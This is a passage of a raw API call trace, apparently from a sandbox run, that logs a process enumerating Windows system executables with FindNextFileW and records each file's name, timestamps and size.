dwReserved1=0x902fe0, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="control.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0225.613] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x4a0000, dwReserved1=0x902fe0, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0225.614] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ff9a8 | out: lpFindFileData=0x15ff9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, 